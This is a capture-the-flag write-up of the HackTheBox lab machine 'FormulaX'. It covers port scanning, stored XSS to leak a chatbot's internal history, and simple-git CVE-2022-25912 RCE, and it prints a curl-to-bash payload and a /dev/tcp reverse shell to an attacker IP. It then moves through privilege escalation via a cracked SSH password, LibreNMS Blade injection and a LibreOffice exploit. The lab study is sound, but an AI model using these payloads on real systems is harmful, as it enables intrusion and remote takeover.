FormulaX
Recon
nmap_scan.log
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/home/rustscan/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.6:22
Open 10.10.11.6:80
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -vvv -sV -sC -Pn" on ip 10.10.11.6
Depending on the complexity of the script, results may take some time to appear.
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2024-05-20 10:44 UTC
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 10:44
Completed Parallel DNS resolution of 1 host. at 10:44, 0.00s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 10:44
Scanning 10.10.11.6 [2 ports]
Discovered open port 80/tcp on 10.10.11.6
Discovered open port 22/tcp on 10.10.11.6
Completed Connect Scan at 10:44, 0.16s elapsed (2 total ports)
Initiating Service scan at 10:44
Scanning 2 services on 10.10.11.6
Completed Service scan at 10:44, 6.43s elapsed (2 services on 1 host)
NSE: Script scanning 10.10.11.6.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 3.89s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.80s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.00s elapsed
Nmap scan report for 10.10.11.6
Host is up, received user-set (0.087s latency).
Scanned at 2024-05-20 10:44:13 UTC for 12s
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 5fb2cd54e447d10e9e8135923cd6a3cb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBG8rGSIhEBCPw+TyWPlQnCQOhuDZwBuKTDmhMvwgTYIpqvWGe1d5Mtt2LA1hpEl/0cYRCmDfmsgs4xWffPDaK48=
| 256 b9f00ddc057bfafb91e6d0b459e6db88 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDxdSOINZhnpi+VKvc9X6X/yYgzl88VdajTFgliPg6Jl
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-cors: GET POST
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 496A37014B10519386B2904D1B3086BE
| http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_Requested resource was /static/index.html
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 10:44
Completed NSE at 10:44, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.17 secondsNote: Hosts updated after "Leak Internal User History" section
└─$ grep chat /etc/hosts
10.10.11.6 chatbot.htb dev-git-auto-update.chatbot.htbHTTP (80)
We are redirected to the login page

Creds: Test02:Test02@test.com:Test02
Dashboard gives us few more options to use application.

XSS
On contact page it is possible to do an XSS. The XSS should have been removed after first request, but it seems to be persistent.

In chat html source we find:
chat.js: http://10.10.11.6/restricted/chat.js
The "bot" is using sockets to communicate to backend. In our short chat we see that service is not available to users, but maybe internal users? From Contact Us using XSS we could probably leak the history of internal user!

Leak Internal User History
To make XSS work we need to load our script and socker.io . script tag doesn't work, so we have to use img tag or others. Used https://minify-js.com to minify the code into one liner.

Git Report Generator

The simple-git v3.14 is vulnerable to CVE-2022-25912: RCE
Verify via curl:
Reverse Shell (www-data)
Piping to sh didn't start the shell, but bash did.
Repo url: ext::sh -c curl% 10.10.16.75/rev|bash
Rev: /bin/bash -i >& /dev/tcp/10.10.16.75/4444 0>&1

We have mongo database password which means we can explore it.
SSH (22)
Privilege Escalation (frank_dorky)
Crack the hash of ssh user frank:
Creds: frank_dorky:manchesterunited
User.txt
Privilege Escalation (librenms)
Enumerate the system with linpeas:
In the processes we see an interesting one, frank is running libreoffice as kai_relay and with sudo permissions.

In the nginx module we see it's ran on port 3000:
Do a port forwarding via SSH:
LibreNMS

The app lives on /opt/librenms, but we don't have permission to list files
Execute (x) permission on a directory allows a user to:
Enter the Directory: The user can change into the directory using the cd command.
Access Inodes: The user can access the metadata of the files within the directory, but not their content or names unless the file's specific permissions also grant read or execute rights.
Meaning:
No Listing (ls): The user cannot list the contents of the directory. Commands like ls will not work. Access by Name: The user can access files and subdirectories within the directory if they know the exact names and have the appropriate permissions on those files or subdirectories.
No Creation or Deletion: The user cannot create or delete files in the directory, as write permissions (w) are required for these operations.
Looks like there's adduser.php script which can be used to add users src
Add user:

There was some DNS problem, so update localhost to match domain.
It looks like in alert templates we can use blade syntax to write php/html file.

Inject PHP via Blade syntax: https://laravel.com/docs/11.x/blade#raw-php

Privilege Escalation (kai_relay)
Privilege Escalation (root)


After googling soffice exploits we end up on: https://www.exploit-db.com/exploits/46544
Catch the shell and gain root.
Root.txt
Last updated